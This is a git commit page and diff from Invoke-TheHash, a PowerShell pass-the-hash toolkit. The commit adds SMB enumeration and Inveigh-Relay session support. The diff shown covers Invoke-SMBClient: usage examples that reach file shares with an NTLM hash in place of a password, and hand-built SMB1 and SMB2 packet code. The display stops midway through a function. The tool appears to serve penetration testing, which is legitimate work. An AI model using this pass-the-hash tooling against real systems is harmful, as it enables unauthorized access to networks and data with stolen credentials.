diff options
| author | Kevin Robertson <robertsonk@gmail.com> | 2018-08-28 22:54:23 -0400 |
|---|---|---|
| committer | Kevin Robertson <robertsonk@gmail.com> | 2018-08-28 22:54:23 -0400 |
| commit | 29c7dddb7168bbcb4580e55f03dded35a3ecda8d (patch) | |
| tree | 3f67e8c823c800c3b0aa99d3952c2e236c46b4e0 | |
| parent | a4936ed9bb354cb0eb5b33f91138c12d7b5b5046 (diff) | |
| download | Invoke-TheHash-29c7dddb7168bbcb4580e55f03dded35a3ecda8d.tar.gz Invoke-TheHash-29c7dddb7168bbcb4580e55f03dded35a3ecda8d.zip | |
Added Invoke-SMBEnum, easy SMB signing checks, refactors and bug fixes
Invoke-SMBEnum added for User, Group, Share, and NetSession enumeration. SMB functions prepped for upcoming Inveigh Relay session integration. Unauthenticated SMB signing check.
| -rw-r--r-- | Invoke-SMBClient.ps1 | 3787 | ||||
| -rw-r--r-- | Invoke-SMBEnum.ps1 | 3189 | ||||
| -rw-r--r-- | Invoke-SMBExec.ps1 | 3812 | ||||
| -rw-r--r-- | Invoke-TheHash.ps1 | 363 | ||||
| -rw-r--r-- | Invoke-TheHash.psm1 | 5 | ||||
| -rw-r--r-- | Invoke-WMIExec.ps1 | 742 | ||||
| -rw-r--r-- | README.md | 45 |
7 files changed, 7939 insertions, 4004 deletions
diff --git a/Invoke-SMBClient.ps1 b/Invoke-SMBClient.ps1 index 74777f8..2463734 100644 --- a/Invoke-SMBClient.ps1 +++ b/Invoke-SMBClient.ps1 @@ -5,6 +5,9 @@ function Invoke-SMBClient Invoke-SMBClient performs basic file share tasks with pass the hash. This module supports SMB2 (2.1) only with and without SMB signing. Note that this client is slow compared to the Windows client. +Author: Kevin Robertson (@kevin_robertson) +License: BSD 3-Clause + .PARAMETER Username Username to use for authentication. @@ -53,6 +56,13 @@ Get and Put: Prevents displaying of a progress bar. Default = 100 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try increasing this if downloaded files are being corrupted. +.PARAMETER Session +Inveigh-Relay authenticated session. + +.PARAMETER Version +Default = Auto: (Auto,1,2.1) Force SMB version. The default behavior is to perform SMB version negotiation and use SMB2.1 if supported by the +target. Note, only the signing check works with SMB1. + .EXAMPLE List the contents of a root share directory. Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Source \\server\share -verbose @@ -94,29 +104,51 @@ Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F Upload a file to share from a byte array variable. Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source $file_byte_array -Destination \\server\share\file.docx -Modify +.EXAMPLE +List the contents of a share directory using an authenticated Inveigh-Relay session. +Invoke-SMBClient -Session 1 -Source \\server\share + .LINK https://github.com/Kevin-Robertson/Invoke-TheHash #> -[CmdletBinding()] +[CmdletBinding(DefaultParametersetName='Default')] param ( [parameter(Mandatory=$false)][ValidateSet("List","Recurse","Get","Put","Delete")][String]$Action = "List", [parameter(Mandatory=$false)][String]$Destination, - [parameter(Mandatory=$true)][String]$Username, - [parameter(Mandatory=$false)][String]$Domain, + [parameter(ParameterSetName='Auth',Mandatory=$true)][String]$Username, + [parameter(ParameterSetName='Auth',Mandatory=$false)][String]$Domain, [parameter(Mandatory=$true)][Object]$Source, - [parameter(Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, + [parameter(ParameterSetName='Auth',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, [parameter(Mandatory=$false)][Switch]$Modify, [parameter(Mandatory=$false)][Switch]$NoProgress, + [parameter(Mandatory=$false)][ValidateSet("Auto","1","2.1")][String]$Version="Auto", + [parameter(ParameterSetName='Session',Mandatory=$false)][Int]$Session, + [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Logoff, + [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Refresh, [parameter(Mandatory=$false)][Int]$Sleep=100 ) +if($Version -eq '1') +{ + $SMB_version = 'SMB1' +} +elseif($Version -eq '2.1') +{ + $SMB_version = 'SMB2.1' +} + +if($PsCmdlet.ParameterSetName -ne 'Auth' -and $PsCmdlet.ParameterSetName -ne 'Session') +{ + $signing_check = $true +} + function ConvertFrom-PacketOrderedDictionary { - param($packet_ordered_dictionary) + param($ordered_dictionary) - ForEach($field in $packet_ordered_dictionary.Values) + ForEach($field in $ordered_dictionary.Values) { $byte_array += $field } @@ -126,586 +158,619 @@ function ConvertFrom-PacketOrderedDictionary #NetBIOS -function Get-PacketNetBIOSSessionService() +function New-PacketNetBIOSSessionService { - param([Int]$packet_header_length,[Int]$packet_data_length) + param([Int]$HeaderLength,[Int]$DataLength) - [Byte[]]$packet_netbios_session_service_length = [System.BitConverter]::GetBytes($packet_header_length + $packet_data_length) - $packet_NetBIOS_session_service_length = $packet_netbios_session_service_length[2..0] + [Byte[]]$length = ([System.BitConverter]::GetBytes($HeaderLength + $DataLength))[2..0] - $packet_NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary - $packet_NetBIOSSessionService.Add("NetBIOSSessionService_Message_Type",[Byte[]](0x00)) - $packet_NetBIOSSessionService.Add("NetBIOSSessionService_Length",[Byte[]]($packet_netbios_session_service_length)) + $NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary + $NetBIOSSessionService.Add("MessageType",[Byte[]](0x00)) + $NetBIOSSessionService.Add("Length",$length) - return $packet_NetBIOSSessionService + return $NetBIOSSessionService } #SMB1 -function Get-PacketSMBHeader() +function New-PacketSMBHeader { - param([Byte[]]$packet_command,[Byte[]]$packet_flags,[Byte[]]$packet_flags2,[Byte[]]$packet_tree_ID,[Byte[]]$packet_process_ID,[Byte[]]$packet_user_ID) - - $packet_SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBHeader.Add("SMBHeader_Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) - $packet_SMBHeader.Add("SMBHeader_Command",$packet_command) - $packet_SMBHeader.Add("SMBHeader_ErrorClass",[Byte[]](0x00)) - $packet_SMBHeader.Add("SMBHeader_Reserved",[Byte[]](0x00)) - $packet_SMBHeader.Add("SMBHeader_ErrorCode",[Byte[]](0x00,0x00)) - $packet_SMBHeader.Add("SMBHeader_Flags",$packet_flags) - $packet_SMBHeader.Add("SMBHeader_Flags2",$packet_flags2) - $packet_SMBHeader.Add("SMBHeader_ProcessIDHigh",[Byte[]](0x00,0x00)) - $packet_SMBHeader.Add("SMBHeader_Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMBHeader.Add("SMBHeader_Reserved2",[Byte[]](0x00,0x00)) - $packet_SMBHeader.Add("SMBHeader_TreeID",$packet_tree_ID) - $packet_SMBHeader.Add("SMBHeader_ProcessID",$packet_process_ID) - $packet_SMBHeader.Add("SMBHeader_UserID",$packet_user_ID) - $packet_SMBHeader.Add("SMBHeader_MultiplexID",[Byte[]](0x00,0x00)) - - return $packet_SMBHeader + param([Byte[]]$Command,[Byte[]]$Flags,[Byte[]]$Flags2,[Byte[]]$TreeID,[Byte[]]$ProcessID,[Byte[]]$UserID) + + $ProcessID = $ProcessID[0,1] + + $SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary + $SMBHeader.Add("Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) + $SMBHeader.Add("Command",$Command) + $SMBHeader.Add("ErrorClass",[Byte[]](0x00)) + $SMBHeader.Add("Reserved",[Byte[]](0x00)) + $SMBHeader.Add("ErrorCode",[Byte[]](0x00,0x00)) + $SMBHeader.Add("Flags",$Flags) + $SMBHeader.Add("Flags2",$Flags2) + $SMBHeader.Add("ProcessIDHigh",[Byte[]](0x00,0x00)) + $SMBHeader.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMBHeader.Add("Reserved2",[Byte[]](0x00,0x00)) + $SMBHeader.Add("TreeID",$TreeID) + $SMBHeader.Add("ProcessID",$ProcessID) + $SMBHeader.Add("UserID",$UserID) + $SMBHeader.Add("MultiplexID",[Byte[]](0x00,0x00)) + + return $SMBHeader } -function Get-PacketSMBNegotiateProtocolRequest() +function New-PacketSMBNegotiateProtocolRequest { - param([String]$packet_version) + param([String]$Version) - if($packet_version -eq 'SMB1') + if($version -eq 'SMB1') { - [Byte[]]$packet_byte_count = 0x0c,0x00 + [Byte[]]$byte_count = 0x0c,0x00 } else { - [Byte[]]$packet_byte_count = 0x22,0x00 + [Byte[]]$byte_count = 0x22,0x00 } - $packet_SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_WordCount",[Byte[]](0x00)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_ByteCount",$packet_byte_count) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) + $SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMBNegotiateProtocolRequest.Add("WordCount",[Byte[]](0x00)) + $SMBNegotiateProtocolRequest.Add("ByteCount",$byte_count) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) - if($packet_version -ne 'SMB1') + if($version -ne 'SMB1') { - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) } - return $packet_SMBNegotiateProtocolRequest + return $SMBNegotiateProtocolRequest } -#SMB2 - -function Get-PacketSMB2Header() +function New-PacketSMBSessionSetupAndXRequest { - param([Byte[]]$packet_command,[Byte[]]$packet_credit_request,[Int]$packet_message_ID,[Byte[]]$packet_tree_ID,[Byte[]]$packet_session_ID) - - [Byte[]]$packet_message_ID = [System.BitConverter]::GetBytes($packet_message_ID) + 0x00,0x00,0x00,0x00 - - $packet_SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2Header.Add("SMB2Header_ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) - $packet_SMB2Header.Add("SMB2Header_StructureSize",[Byte[]](0x40,0x00)) - $packet_SMB2Header.Add("SMB2Header_CreditCharge",[Byte[]](0x01,0x00)) - $packet_SMB2Header.Add("SMB2Header_ChannelSequence",[Byte[]](0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_Command",$packet_command) - $packet_SMB2Header.Add("SMB2Header_CreditRequest",$packet_credit_request) - $packet_SMB2Header.Add("SMB2Header_Flags",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_MessageID",$packet_message_ID) - $packet_SMB2Header.Add("SMB2Header_ProcessID",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_TreeID",$packet_tree_ID) - $packet_SMB2Header.Add("SMB2Header_SessionID",$packet_session_ID) - $packet_SMB2Header.Add("SMB2Header_Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - return $packet_SMB2Header + param([Byte[]]$SecurityBlob) + + [Byte[]]$byte_count = [System.BitConverter]::GetBytes($SecurityBlob.Length)[0,1] + [Byte[]]$security_blob_length = [System.BitConverter]::GetBytes($SecurityBlob.Length + 5)[0,1] + + $SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMBSessionSetupAndXRequest.Add("WordCount",[Byte[]](0x0c)) + $SMBSessionSetupAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $SMBSessionSetupAndXRequest.Add("Reserved",[Byte[]](0x00)) + $SMBSessionSetupAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $SMBSessionSetupAndXRequest.Add("MaxBuffer",[Byte[]](0xff,0xff)) + $SMBSessionSetupAndXRequest.Add("MaxMpxCount",[Byte[]](0x02,0x00)) + $SMBSessionSetupAndXRequest.Add("VCNumber",[Byte[]](0x01,0x00)) + $SMBSessionSetupAndXRequest.Add("SessionKey",[Byte[]](0x00,0x00,0x00,0x00)) + $SMBSessionSetupAndXRequest.Add("SecurityBlobLength",$byte_count) + $SMBSessionSetupAndXRequest.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $SMBSessionSetupAndXRequest.Add("Capabilities",[Byte[]](0x44,0x00,0x00,0x80)) + $SMBSessionSetupAndXRequest.Add("ByteCount",$security_blob_length) + $SMBSessionSetupAndXRequest.Add("SecurityBlob",$SecurityBlob) + $SMBSessionSetupAndXRequest.Add("NativeOS",[Byte[]](0x00,0x00,0x00)) + $SMBSessionSetupAndXRequest.Add("NativeLANManage",[Byte[]](0x00,0x00)) + + return $SMBSessionSetupAndXRequest } -function Get-PacketSMB2NegotiateProtocolRequest() +#SMB2 + +function New-PacketSMB2Header { - $packet_SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_StructureSize",[Byte[]](0x24,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_DialectCount",[Byte[]](0x02,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_SecurityMode",[Byte[]](0x01,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextCount",[Byte[]](0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved2",[Byte[]](0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect",[Byte[]](0x02,0x02)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect2",[Byte[]](0x10,0x02)) - - return $packet_SMB2NegotiateProtocolRequest + param([Byte[]]$Command,[Byte[]]$CreditRequest,[Bool]$Signing,[Int]$MessageID,[Byte[]]$ProcessID,[Byte[]]$TreeID,[Byte[]]$SessionID) + + if($Signing) + { + $flags = 0x08,0x00,0x00,0x00 + } + else + { + $flags = 0x00,0x00,0x00,0x00 + } + + [Byte[]]$message_ID = [System.BitConverter]::GetBytes($MessageID) + + if($message_ID.Length -eq 4) + { + $message_ID += 0x00,0x00,0x00,0x00 + } + + $SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) + $SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00)) + $SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00)) + $SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00)) + $SMB2Header.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2Header.Add("Command",$Command) + $SMB2Header.Add("CreditRequest",$CreditRequest) + $SMB2Header.Add("Flags",$flags) + $SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2Header.Add("MessageID",$message_ID) + $SMB2Header.Add("ProcessID",$ProcessID) + $SMB2Header.Add("TreeID",$TreeID) + $SMB2Header.Add("SessionID",$SessionID) + $SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $SMB2Header } -function Get-PacketSMB2SessionSetupRequest() +function New-PacketSMB2NegotiateProtocolRequest { - param([Byte[]]$packet_security_blob) - - [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length) - $packet_security_blob_length = $packet_security_blob_length[0,1] - - $packet_SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_StructureSize",[Byte[]](0x19,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Flags",[Byte[]](0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityMode",[Byte[]](0x01)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferOffset",[Byte[]](0x58,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferLength",$packet_security_blob_length) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Buffer",$packet_security_blob) - - return $packet_SMB2SessionSetupRequest + $SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2NegotiateProtocolRequest.Add("StructureSize",[Byte[]](0x24,0x00)) + $SMB2NegotiateProtocolRequest.Add("DialectCount",[Byte[]](0x02,0x00)) + $SMB2NegotiateProtocolRequest.Add("SecurityMode",[Byte[]](0x01,0x00)) + $SMB2NegotiateProtocolRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("NegotiateContextCount",[Byte[]](0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("Reserved2",[Byte[]](0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("Dialect",[Byte[]](0x02,0x02)) + $SMB2NegotiateProtocolRequest.Add("Dialect2",[Byte[]](0x10,0x02)) + + return $SMB2NegotiateProtocolRequest } -function Get-PacketSMB2TreeConnectRequest() +function New-PacketSMB2SessionSetupRequest { - param([Byte[]]$packet_path) - - [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length) - $packet_path_length = $packet_path_length[0,1] - - $packet_SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_StructureSize",[Byte[]](0x09,0x00)) - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathOffset",[Byte[]](0x48,0x00)) - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathLength",$packet_path_length) - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Buffer",$packet_path) - - return $packet_SMB2TreeConnectRequest + param([Byte[]]$SecurityBlob) + + [Byte[]]$security_buffer_length = ([System.BitConverter]::GetBytes($SecurityBlob.Length))[0,1] + + $SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2SessionSetupRequest.Add("StructureSize",[Byte[]](0x19,0x00)) + $SMB2SessionSetupRequest.Add("Flags",[Byte[]](0x00)) + $SMB2SessionSetupRequest.Add("SecurityMode",[Byte[]](0x01)) + $SMB2SessionSetupRequest.Add("Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2SessionSetupRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2SessionSetupRequest.Add("SecurityBufferOffset",[Byte[]](0x58,0x00)) + $SMB2SessionSetupRequest.Add("SecurityBufferLength",$security_buffer_length) + $SMB2SessionSetupRequest.Add("PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2SessionSetupRequest.Add("Buffer",$SecurityBlob) + + return $SMB2SessionSetupRequest } -function Get-PacketSMB2IoctlRequest() +function New-PacketSMB2TreeConnectRequest { - param([Byte[]]$packet_file_name) + param([Byte[]]$Buffer) - $packet_file_name_length = [System.BitConverter]::GetBytes($packet_file_name.Length + 2) + [Byte[]]$path_length = ([System.BitConverter]::GetBytes($Buffer.Length))[0,1] - $packet_SMB2IoctlRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_StructureSize",[Byte[]](0x39,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_Function",[Byte[]](0x94,0x01,0x06,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_GUIDHandle",[Byte[]](0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_InData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_InData_Length",$packet_file_name_length) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_MaxIoctlInSize",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_OutData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_OutData_Length",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_MaxIoctlOutSize",[Byte[]](0x00,0x10,0x00,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_Flags",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_InData_MaxReferralLevel",[Byte[]](0x04,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_InData_FileName",$packet_file_name) + $SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2TreeConnectRequest.Add("StructureSize",[Byte[]](0x09,0x00)) + $SMB2TreeConnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2TreeConnectRequest.Add("PathOffset",[Byte[]](0x48,0x00)) + $SMB2TreeConnectRequest.Add("PathLength",$path_length) + $SMB2TreeConnectRequest.Add("Buffer",$Buffer) - return $packet_SMB2IoctlRequest + return $SMB2TreeConnectRequest } -function Get-PacketSMB2CreateRequest() +function New-PacketSMB2CreateRequest { - param([Byte[]]$packet_file_name,[Int]$packet_extra_info,[Int64]$packet_allocation_size) + param([Byte[]]$FileName,[Int]$ExtraInfo,[Int64]$AllocationSize) - if($packet_file_name) + if($FileName) { - $packet_file_name_length = [System.BitConverter]::GetBytes($packet_file_name.Length) - $packet_file_name_length = $packet_file_name_length[0,1] + $file_name_length = [System.BitConverter]::GetBytes($FileName.Length)[0,1] } else { - $packet_file_name = 0x00,0x00,0x69,0x00,0x6e,0x00,0x64,0x00 - $packet_file_name_length = 0x00,0x00 + $FileName = 0x00,0x00,0x69,0x00,0x6e,0x00,0x64,0x00 + $file_name_length = 0x00,0x00 } - if($packet_extra_info) + if($ExtraInfo) { - [Byte[]]$packet_desired_access = 0x80,0x00,0x10,0x00 - [Byte[]]$packet_file_attributes = 0x00,0x00,0x00,0x00 - [Byte[]]$packet_share_access = 0x00,0x00,0x00,0x00 - [Byte[]]$packet_create_options = 0x21,0x00,0x00,0x00 - [Byte[]]$packet_create_contexts_offset = [System.BitConverter]::GetBytes($packet_file_name.Length) + [Byte[]]$desired_access = 0x80,0x00,0x10,0x00 + [Byte[]]$file_attributes = 0x00,0x00,0x00,0x00 + [Byte[]]$share_access = 0x00,0x00,0x00,0x00 + [Byte[]]$create_options = 0x21,0x00,0x00,0x00 + [Byte[]]$create_contexts_offset = [System.BitConverter]::GetBytes($FileName.Length) - if($packet_extra_info -eq 1) + if($ExtraInfo -eq 1) { - [Byte[]]$packet_create_contexts_length = 0x58,0x00,0x00,0x00 + [Byte[]]$create_contexts_length = 0x58,0x00,0x00,0x00 } - elseif($packet_extra_info -eq 2) + elseif($ExtraInfo -eq 2) { - [Byte[]]$packet_create_contexts_length = 0x90,0x00,0x00,0x00 + [Byte[]]$create_contexts_length = 0x90,0x00,0x00,0x00 } else { - [Byte[]]$packet_create_contexts_length = 0xb0,0x00,0x00,0x00 - [Byte[]]$packet_allocation_size_bytes = [System.BitConverter]::GetBytes($packet_allocation_size) + [Byte[]]$create_contexts_length = 0xb0,0x00,0x00,0x00 + [Byte[]]$allocation_size_bytes = [System.BitConverter]::GetBytes($AllocationSize) } - if($packet_file_name) + if($FileName) { - [String]$packet_file_name_padding_check = $packet_file_name.Length / 8 + [String]$file_name_padding_check = $FileName.Length / 8 - if($packet_file_name_padding_check -like "*.75") + if($file_name_padding_check -like "*.75") { - $packet_file_name += 0x04,0x00 + $FileName += 0x04,0x00 } - elseif($packet_file_name_padding_check -like "*.5") + elseif($file_name_padding_check -like "*.5") { - $packet_file_name += 0x00,0x00,0x00,0x00 + $FileName += 0x00,0x00,0x00,0x00 } - elseif($packet_file_name_padding_check -like "*.25") + elseif($file_name_padding_check -like "*.25") { - $packet_file_name += 0x00,0x00,0x00,0x00,0x00,0x00 + $FileName += 0x00,0x00,0x00,0x00,0x00,0x00 } } - [Byte[]]$packet_create_contexts_offset = [System.BitConverter]::GetBytes($packet_file_name.Length + 120) + [Byte[]]$create_contexts_offset = [System.BitConverter]::GetBytes($FileName.Length + 120) } else { - [Byte[]]$packet_desired_access = 0x03,0x00,0x00,0x00 - [Byte[]]$packet_file_attributes = 0x80,0x00,0x00,0x00 - [Byte[]]$packet_share_access = 0x01,0x00,0x00,0x00 - [Byte[]]$packet_create_options = 0x40,0x00,0x00,0x00 - [Byte[]]$packet_create_contexts_offset = 0x00,0x00,0x00,0x00 - [Byte[]]$packet_create_contexts_length = 0x00,0x00,0x00,0x00 + [Byte[]]$desired_access = 0x03,0x00,0x00,0x00 + [Byte[]]$file_attributes = 0x80,0x00,0x00,0x00 + [Byte[]]$share_access = 0x01,0x00,0x00,0x00 + [Byte[]]$create_options = 0x40,0x00,0x00,0x00 + [Byte[]]$create_contexts_offset = 0x00,0x00,0x00,0x00 + [Byte[]]$create_contexts_length = 0x00,0x00,0x00,0x00 } - $packet_SMB2CreateRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_StructureSize",[Byte[]](0x39,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_Flags",[Byte[]](0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_RequestedOplockLevel",[Byte[]](0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) - 